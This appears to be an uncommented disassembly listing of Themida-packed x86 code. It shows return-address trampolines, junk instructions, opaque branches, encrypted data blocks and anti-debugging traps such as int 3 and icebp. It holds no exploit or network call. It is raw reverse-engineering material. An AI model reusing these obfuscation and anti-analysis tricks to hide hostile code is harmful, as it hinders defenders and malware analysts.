		sub	ebp, 7FE0A9Fh
		mov	esi, [ebp+7FA2459h]
		cmp	dword ptr [ebp+7FA0719h], 7D0h
		jbe	loc_5C40BF
		push	0
		push	ebp
		call	sub_5C3F08
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5C47E5

; =============== S U B	R O U T	I N E =======================================



sub_5C3F08	proc near		; CODE XREF: sub_5C47E5-8E5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5C3F08	endp

; ---------------------------------------------------------------------------
		dd 2C5908E2h, 0CDC7667Ch, 9D01953Eh, 7FA0059h, 0DA59D8Bh
		dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 1B3CC8C3h, 0AADAFBCh, 0E38169h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 94C6C351h, 779D1B4Bh, 0FDB0BEBh, 9D85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0D697CEF4h, 0FAE9575h, 68Ah,	21B58B00h, 0B07FA20h, 0FA2DE9B5h
		dd 37BD8307h, 7FE09h, 1C840Fh, 0CE90000h, 0B000000h, 7AD181B7h
		dd 0B267E84Ah, 0E90A836Ah, 89h,	2035B58Bh, 85C707FAh, 7FE0937h
		dd 1, 0BE9h, 9BFCEE00h,	7DA5BDA2h, 94D0B25h, 64E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0DB0CA3D9h, 85C75C7Ah, 7FE0937h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5C4033
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4033	proc near		; CODE XREF: Themida_:005C402Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C4033	endp

; ---------------------------------------------------------------------------
		db 0AEh
		dd 0E7ADFA6Dh, 12E9BD6Eh, 0D4000000h, 6363A5C3h, 200DBB01h
		dd 20ED1585h, 347EE2A5h, 0A59D8D44h, 6A07FA0Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0F6FAC357h, 0C8FA464Dh, 0F94660Bh, 2381F1B7h, 0FFFFFEFFh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 25C35040h
		dd 0FEFD82C7h, 19B52973h, 0F507FA02h
; ---------------------------------------------------------------------------
		mov	si, di
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C40BF:				; CODE XREF: sub_5C47E5-8EEj
		mov	bx, ds
		test	bl, 4
		jz	loc_5C4138
		pusha
		jmp	loc_5C40E3
; END OF FUNCTION CHUNK	FOR sub_5C47E5
; ---------------------------------------------------------------------------
		db 61h,	1Ah, 1Fh
		dd 9D937A80h, 0BDC2367Fh, 907BF05h
		db 0F2h, 94h, 0C7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C40E3:				; CODE XREF: sub_5C47E5-719j
		jmp	loc_5C40FA
; END OF FUNCTION CHUNK	FOR sub_5C47E5
; ---------------------------------------------------------------------------
		dd 0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh
		db 4Ah,	0F7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C40FA:				; CODE XREF: sub_5C47E5:loc_5C40E3j
		popa
		mov	esi, 391FAB10h
		call	dword ptr [ebp+7FA10A5h]
		mov	edi, [ebp+7FA1CF1h]
		nop
		call	near ptr loc_5C4123+2
		mov	byte ptr [esi+eax*4], 4Ah
		sub	al, 87h
		sbb	al, [ebp-2]
		or	ecx, [ebp+ebp*2+7BABD140h]
		push	esi


loc_5C4123:				; CODE XREF: sub_5C47E5-6D8p
		mov	ds:0F98B666Ah, al
		pop	esi
		push	eax
		pusha
		pusha
		mov	si, 2857h
		mov	cx, dx
		popa
		push	ebx
		pop	eax
		popa
		nop


loc_5C4138:				; CODE XREF: sub_5C47E5-720j
		jmp	loc_5C4598
; END OF FUNCTION CHUNK	FOR sub_5C47E5
; ---------------------------------------------------------------------------
		pusha
		xor	cx, 8B4Fh
		mov	[ebp+7FA29BDh],	edx
		popa
		mov	al, 0
		push	0
		push	esi
		call	sub_5C4157
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4157	proc near		; CODE XREF: Themida_:005C414Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C4157	endp

; ---------------------------------------------------------------------------
		db 9Bh
		dd 431F11Ah, 70E61C24h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 1AC35242h, 0F508EE3Ah, 11584358h, 80FDD3BFh
		dd 6671E40Fh, 289FCF81h, 89D8B60Fh, 0FA187D8Dh,	0BAF28B07h
		dd 6, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 19h
		dd 84C35343h, 0F0B0FA5Eh, 0D9958931h, 8B07FA01h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 673D007h, 89AE7029h,	0FA2655B5h, 4E8C107h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1DC35646h, 0FB2DB8B2h
		dd 81F45E76h, 0E570DCC6h, 0E2F76613h, 21018D89h, 0D82B07FAh
		dd 0CF59D29h, 505007FAh, 0FB31BF52h, 310F4185h,	8B0F60h
		dd 0E9000000h, 0Ch, 3C607D6Eh, 0D38E80F3h, 475F0F49h, 89585A61h
		dd 6A241Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0EC7788C3h, 0D8FE40D4h, 19B5FFB5h, 6A07FA07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 77DCC356h, 35BD8B30h, 107FA25h, 0FA2099BDh
		dd 1995FF07h, 307FA10h,	0FA1F9DB5h, 0E900B007h,	6, 2FFFF5D9h
		dd 70E6D6B9h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0BAC35545h, 18FB1F3Bh, 59589BEh, 0E407FA01h, 8B666071h
		dd 61CA8BDFh, 830F613Ch, 28Ch, 11E9h, 208D500h,	3087F21Ah
		dd 9690F5h, 3A3C5938h, 0B60F8E30h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0B509551Fh
		dd 7FA16BDh, 2D59BD89h,	6BA07FAh, 1000000h, 0FA2C25B5h
		dd 6AC38B07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 690DC351h, 657289E5h, 0AE913h
		dd 666B0000h, 0AD0FE774h, 238B746Ah, 2904E8C1h,	0FA08318Dh
		dd 0E2F76607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0F9C35747h, 3860Fh, 8B660000h, 6AD82BF2h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 469DC351h, 0B439EC4Ah, 8B6E35C8h, 6A58F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6F5B7EC3h
		dd 9E93Ah, 0B750000h, 699BB7Dh,	2BEEF067h, 7D880FD8h, 89000001h
		dd 0FA1D79BDh, 7B907h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 8AED87C3h, 0AC8D2CF8h
		dd 0BEEAC323h, 32EB96E7h, 6E8h,	964CF700h, 295C6E64h, 0FA079185h
		dd 0C1835F07h, 89B58B00h, 2907FA00h, 0FA204585h, 0FD93B07h
		dd 11F86h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 0FC06CC5Dh, 3E9C0F3h, 0FA0E99B5h
		dd 75B52307h, 8B07FA15h, 0FA16EDBDh, 0D98C6607h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h, 0E9B58BE0h
		dd 0BF07FA2Dh, 1B773E14h, 0F04C1F6h, 0B084h, 7AD68100h
		dd 0FF4A10CCh, 0FA10A595h, 9D896007h, 7FA1135h,	2AB9B589h
		dd 5B6107FAh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	89C35545h, 2BF0B70Fh, 0BE8C3h, 87D20000h, 44058050h
		dd 70056443h, 3D5FF90Ah, 834h, 57860Fh,	0F600000h, 686h
		dd 0F9BD2900h, 0E907FA0Ch, 14h,	37832D30h, 15FB7A18h, 39A92E03h
		dd 85EF15CFh, 0F61E81DAh, 32E961h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 41F32BC3h
		dd 63AA4ACCh, 89B9D33Eh, 0FA00E5BDh, 66C08B07h,	44C8EE81h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C4598:				; CODE XREF: sub_5C47E5:loc_5C4138j
		mov	eax, ebx
		mov	ebx, eax
		movzx	esi, bx
		mov	dword ptr [ebp+7FA1E89h], 76CFC771h
		mov	[ebp+7FA1E25h],	esi
		mov	[ebp+7FA1151h],	edx
		mov	eax, eax
		pusha
		push	edi
		mov	ebx, 192F6CB4h
		pop	eax
		push	esi
		sbb	edi, 162C4FC6h
		pop	edx
		popa
		cmp	dword ptr [ebp+7FA0719h], 7D0h
		jnz	loc_5C462E
		push	0
		push	ebx
		call	sub_5C45E3
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5C47E5

; =============== S U B	R O U T	I N E =======================================



sub_5C45E3	proc near		; CODE XREF: sub_5C47E5-20Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5C45E3	endp

; ---------------------------------------------------------------------------
		db 72h
		dd 4B45593h, 0BDBD29F9h, 0F07FA01h, 178Fh, 0BE800h, 9A630000h
		dd 37B4DE58h, 4CBBBA13h, 5985899Ah, 5E07FA27h, 71985FFh
		dd 880F07FAh, 6, 25BDB58Bh
; ---------------------------------------------------------------------------
		cli
		pop	es
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C462E:				; CODE XREF: sub_5C47E5-213j
		push	dword ptr [ebp+7FA0719h]
		movsx	edi, si
		call	dword ptr [ebp+7FA1019h]
		mov	esi, [ebp+7FA2665h]
		nop
		inc	eax
		push	0
		push	ebx
		call	sub_5C4650
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5C47E5

; =============== S U B	R O U T	I N E =======================================



sub_5C4650	proc near		; CODE XREF: sub_5C47E5-19Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5C4650	endp

; ---------------------------------------------------------------------------
		xchg	eax, edx
		jno	short loc_5C46B2
		scasd
		xchg	dl, [ebx-10h]
		pop	edx
		fbstp	tbyte ptr [esi-77h]
		lea	esp, [ebp+16h]
		cli
		pop	es
		mov	esi, [ebp+7FA1665h]
		cmp	dword ptr [ebp+7FA2705h], 0
		jz	loc_5C47BE
		push	0
		push	esi
		call	sub_5C468E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C468E	proc near		; CODE XREF: Themida_:005C4686p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C468E	endp

; ---------------------------------------------------------------------------
		dw 9F3Bh
		dd 8E64B6C8h, 218D892Fh, 0E907FA27h, 0Ah
; ---------------------------------------------------------------------------
		sahf
		push	eax


loc_5C46B2:				; CODE XREF: Themida_:005C4661j
		icebp
		out	dx, eax
		mov	eax, ds:9003B74Dh
		xor	al, 83h
		mov	ebp, 7FA2C05h
		add	[edi], cl
		test	dh, bh
; ---------------------------------------------------------------------------
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FC2C353h, 48Ah, 0E8BF6600h, 6E8608Ah
		dd 14000000h, 0F7D59542h, 0BE900h, 5BA80000h, 0F2A69861h
		dd 0D5BC4BBh, 7E95F40h,	5000000h, 657EF57Eh, 0FF610E57h
		dd 0FA270595h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0B3B5DD5Eh, 9D5AFEB2h
		dd 1DD98D89h, 0C00B07FAh, 70840Fh, 6A0000h, 3E853h, 5B200000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	ebx


loc_5C475A:				; CODE XREF: Themida_:005C47D6j
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 18h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 1Fh,	0E6h, 26h
		dd 0BD8BE532h, 7FA2E51h, 0DE8h,	0DCC0E000h, 5513411h, 0E289F59Bh
		dd 9D8954BAh, 7FA2991h,	668D8D5Fh, 8907FA4Fh, 0FA2E6DBDh
		dd 5B807h, 8B0F0000h, 12h, 0DE9h, 797F4600h, 79F41F6Eh
		dd 77576485h, 0E1FFFBC5h, 206DBD0Bh
; ---------------------------------------------------------------------------
		cli
		pop	es


loc_5C47BE:				; CODE XREF: Themida_:005C467Dj
		cmp	dword ptr [ebp+7FA1F25h], 0
		jz	loc_5C4D50
		jb	loc_5C47EC
		call	near ptr sub_5C47E5
		loopne	loc_5C475A
		push	eax
		cmc
		mov	al, 0A5h
		repne cmp [ebx], bh
		test	[esi+2ECFEC20h], ebx

; =============== S U B	R O U T	I N E =======================================



sub_5C47E5	proc far		; CODE XREF: Themida_:005C47D1p

; FUNCTION CHUNK AT 005C3EDB SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005C40BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005C40E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005C40FA SIZE 00000043 BYTES
; FUNCTION CHUNK AT 005C4598 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005C462E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005C4D50 SIZE 00000007 BYTES

		mov	esi, [ebp+7FA1EB1h]
		pop	edi


loc_5C47EC:				; CODE XREF: Themida_:005C47CBj
		cmp	dword ptr [ebp+7FA2C05h], 0
		jz	loc_5C4D50
		mov	edi, 96A3B83h
		lea	ecx, [ebp+7FA1D71h]
		call	sub_5C481B
		adc	dword ptr [edi], 0FFFFFFE4h
		retf
sub_5C47E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 18h,	0AEh, 27h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0CEh, 0E4h, 0D0h
		dd 23395576h
		db 7Eh,	8Bh, 0DDh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5C481B	proc near		; CODE XREF: sub_5C47E5+1Fp
		jmp	sub_5C482A
sub_5C481B	endp

; ---------------------------------------------------------------------------
		dd 0DE5F101Dh, 8ADAA4B1h
		db 0EFh, 60h

; =============== S U B	R O U T	I N E =======================================



sub_5C482A	proc near		; CODE XREF: sub_5C481Bj
		pop	esi
		mov	dword ptr [ecx], 44B27C84h
		jle	loc_5C483E
		jge	loc_5C483E
		cmc


loc_5C483E:				; CODE XREF: sub_5C482A+7j
					; sub_5C482A+Dj
		add	dword ptr [ecx], 1499CFCBh
		mov	dword ptr [ecx+4], 0CE706B34h
		push	0
		push	eax
		call	sub_5C4856
		and	[eax-3Dh], bl
sub_5C482A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5C4856	proc near		; CODE XREF: sub_5C482A+24p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5C4856	endp

; ---------------------------------------------------------------------------
		pop	es
		int	3		; Trap to Debugger
		ror	byte ptr [esi+164AF0E3h], 1
		xor	al, 23h
		mov	ch, 6Dh
		or	bh, dl
		pop	es
		mov	esi, 1425254Ch
		add	dword ptr [ecx+4], 31D6D710h
		and	di, 498Ch
		push	0
		push	0
		push	ebp
		call	sub_5C4893
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4893	proc near		; CODE XREF: Themida_:005C488Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5C4893	endp

; ---------------------------------------------------------------------------
		db 7Fh
		dd 0EF949A27h, 1996CB4Ah, 1D71858Dh, 96007FAh, 0FA1C1995h
		dd 3810F07h, 80000000h,	5061EBD8h, 5E8h, 96CEC500h, 26BEC966h
		dd 5E58D64Fh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 7218C356h, 5880Fh
		dd 81660000h, 168A5EEh,	0FA15859Dh, 2595FF07h, 8B07FA1Fh
		dd 0FA3455BDh, 718D8D07h, 107FA1Dh, 0FA0851BDh,	1C707h
		dd 89000000h, 0FA2BD195h, 65BD8907h, 0C707FA1Eh, 441h
		dd 12E90000h, 5B000000h, 0E277CE94h, 79CACFE8h,	0A2EB203h
		dd 3D8496ACh, 0FC00B95h, 6984h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 990C497Eh
		dd 6840F50h, 8B000000h,	0FA1611B5h, 8D8D5F07h, 7FA4F66h
		dd 0AE58D29h, 5B807FAh,	0FF000000h, 57006AE1h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 7F079524h
		dd 76BA470h, 0AD8589h, 8D8D07FAh, 7FA1D71h, 0C7FAB70Fh
		dd 0AA727C01h, 56006A44h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D892943h, 7FA0BD5h, 181F28Bh
		dd 1499CFCBh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 19h,	0B8C35747h, 0F016F08h, 99BD8BA7h, 0C707FA25h, 753C0441h
		dd 6ACE78h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 4E89C9C3h, 75FA6523h, 9D89D501h, 7FA01A5h
		dd 10044181h, 6A31D6D7h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 8DF88BA1h, 0FA1D7185h
		dd 0F7816607h, 0BD8B0858h, 7FA2C01h, 89F38B50h,	95892404h
		dd 7FA0E65h, 1F2595FFh,	6A07FAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 2BA192C3h, 0FA20F5B5h
		dd 718D8D07h, 6007FA1Dh, 1D09B589h, 8B6607FAh, 1C761DAh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5C4ADF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4ADF	proc near		; CODE XREF: Themida_:005C4AD7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5C4ADF	endp

; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		push	ecx
		mov	[esi], esp
		and	edi, ebp
		adc	eax, 20F5B58Bh
		cli
		pop	es
		mov	dword ptr [ecx+4], 0
		cld
		or	eax, eax
		jz	loc_5C4B62
		cmc
		lea	ecx, [ebp+7FA4F66h]
		push	0
		push	esi
		call	sub_5C4B1E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4B1E	proc near		; CODE XREF: Themida_:005C4B16p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5C4B1E	endp

; ---------------------------------------------------------------------------
		dw 838Dh
		dd 8166DAD7h, 817B0DC7h, 0D47087E6h, 5B816h, 8E80000h
		dd 0BF000000h, 52543855h, 89F3864Fh, 0FA260D9Dh, 0E1FF5E07h
		dd 5E9h, 2FBBFB00h
		db 5, 29h
; ---------------------------------------------------------------------------


loc_5C4B62:				; CODE XREF: Themida_:005C4B06j
		lea	ecx, [ebp+7FA1D71h]
		mov	dword ptr [ecx], 54CA95A5h
		push	0
		push	edi
		call	sub_5C4B79
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4B79	proc near		; CODE XREF: Themida_:005C4B71p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5C4B79	endp

; ---------------------------------------------------------------------------
		db 97h,	0E8h, 2Ah
; ---------------------------------------------------------------------------
		retf	0CF76h
; ---------------------------------------------------------------------------
		or	[ebx], cl
		mov	ebp, 7FA0B3Dh
		add	dword ptr [ecx], 1499CFCBh
		or	edi, 1BB8F949h
		mov	dword ptr [ecx+4], 0CE5F5969h
		push	0
		push	ecx
		call	sub_5C4BB4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4BB4	proc near		; CODE XREF: Themida_:005C4BACp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5C4BB4	endp

; ---------------------------------------------------------------------------
		dd 3C2C1963h, 2F86C39Fh, 27BF36E6h, 8179AE1Bh, 0D7100441h
		dd 6A31D6h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 6B2147C3h, 6AA0C2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0D1C35747h,	44AC80E1h, 9E9A5C8h
		dd 8C000000h, 9A277F14h, 0CB4AEF94h, 1D71858Dh,	6A07FAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 673DCEC3h, 52250A71h, 0BF66A776h, 6690AD37h,	50FD55BFh
		dd 66605190h, 6C19DF81h, 0FF5F61F5h, 0FA1F2595h, 55BD3307h
		dd 8D07FA16h, 0FA1D718Dh, 830F07h, 89000000h, 0FA11AD95h
		dd 1C707h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 29A9C356h, 54A47BC1h, 441C7AEh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C4CC3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4CC3	proc near		; CODE XREF: Themida_:005C4CBBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5C4CC3	endp

; ---------------------------------------------------------------------------
		db 33h
; ---------------------------------------------------------------------------
		retn	1F18h
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		cmp	eax, 338BE4D7h
		movsx	edi, di
		or	eax, eax
		jz	loc_5C4D50
		push	0
		push	ecx
		call	sub_5C4CF3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4CF3	proc near		; CODE XREF: Themida_:005C4CEBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5C4CF3	endp

; ---------------------------------------------------------------------------
		db 29h
; ---------------------------------------------------------------------------
		jnb	loc_5C4D10
		mov	[ebp+7FA279Dh],	eax


loc_5C4D10:				; CODE XREF: Themida_:005C4D04j
		lea	ecx, [ebp+7FA4F66h]
		mov	[ebp+7FA2075h],	esi
		mov	eax, 5
		push	0
		push	edi
		call	sub_5C4D2C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D2C	proc near		; CODE XREF: Themida_:005C4D24p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C4D2C	endp

; ---------------------------------------------------------------------------
		dd 7D49A113h, 848AA61h,	0FBBF661Fh, 66E1FF43h, 8750DE81h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5C47E5


loc_5C4D50:				; CODE XREF: Themida_:005C47C5j
					; sub_5C47E5+Ej ...
		add	ecx, edx
		jmp	loc_5C3EDB
; END OF FUNCTION CHUNK	FOR sub_5C47E5
; ---------------------------------------------------------------------------
		mov	si, di
		add	esi, 396AC225h


loc_5C4D60:				; CODE XREF: Themida_:005C3ED6j
		mov	eax, ecx
		push	0
		push	edx
		call	sub_5C4D6D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D6D	proc near		; CODE XREF: Themida_:005C4D65p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5C4D6D	endp

; ---------------------------------------------------------------------------
		jb	short loc_5C4DE6
		cmp	al, 88h
		mov	dl, 0F5h
		jmp	short loc_5C4D89
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------


loc_5C4D89:				; CODE XREF: Themida_:005C4D83j
		push	0
		push	ecx
		call	sub_5C4D94
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C4D94	proc near		; CODE XREF: Themida_:005C4D8Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5C4D94	endp

; ---------------------------------------------------------------------------
		dd 0E387BBD3h, 7448463Bh, 0F8BF0FD1h, 24B1BD8Bh, 0BF6607FAh
		dd 858D3993h, 7FA0199h,	11E9h, 39F7A400h, 0F2DD9Dh, 0ABEAC504h
		dd 44AAB53Ah, 89509DBEh, 95892404h, 7FA1741h, 6A006Ah
		db 50h,	0E8h
; ---------------------------------------------------------------------------


loc_5C4DE6:				; CODE XREF: Themida_:005C4D7Dj
		add	eax, [eax]
; ---------------------------------------------------------------------------
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 9A19C9C3h, 0F4E3B2D6h, 6E8AA9Dh, 94000000h, 9F6EF9FCh
		dd 0E68166C5h, 6A5E7B65h, 0BE900h, 4B850000h, 546A8DCAh
		dd 87F8CB84h, 0E8858DD6h, 6A07FE1Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0AD49C355h
		dd 6605C083h, 50831BBFh, 489F28Bh, 6860F24h, 8B000000h
		dd 0FA0EA9B5h, 6A006A07h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 850CC357h, 1CB9BD8Bh
		dd 0B58B07FAh, 7FA103Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0F75A98C3h, 0F37CC71Fh
		dd 94EF8140h, 8902BB2Fh, 0FA011985h, 0E995FF07h, 6A07FA2Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0C101C353h, 8DFEBF0Fh, 0FDD7119Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0DCDAAED5h, 0FF6B20F3h, 0C4D781D3h, 0FF0DBFC7h, 0FA104985h
		dd 6870F07h, 29000000h,	0FA0219BDh, 7B3E907h, 0E80000h
		dd 5D000000h, 1AF2ED81h, 6A07FEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 41CB3BC3h, 0DF813874h
		dd 63AB7862h, 719BD81h,	7D007FAh, 860F0000h, 115h, 0B319D09h
		dd 5E807FAh, 0CF000000h, 0AF3F7B72h, 0F19D8B5Fh, 6A07FA2Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3EFAC352h, 0ADAE3E24h, 0E381D3h, 8B000001h
		dd 0FA0AE5BDh, 800F6007h, 6, 1B40C781h,	66600332h, 0B58BFB8Bh
		dd 7FA1C29h, 0DB0B6161h, 8D850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0CBFFF1C3h
		dd 0BC8B0F35h, 791BD8Bh, 0BD8B07FAh, 7FA15C9h, 116DB58Bh
		dd 0BD8307FAh, 7FE1944h, 2E840F00h, 0E9000000h,	57h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 88C35141h, 8EDA70B5h
		dd 8BDC4205h, 0FA1E65B5h, 4485C707h, 107FE19h, 0F000000h
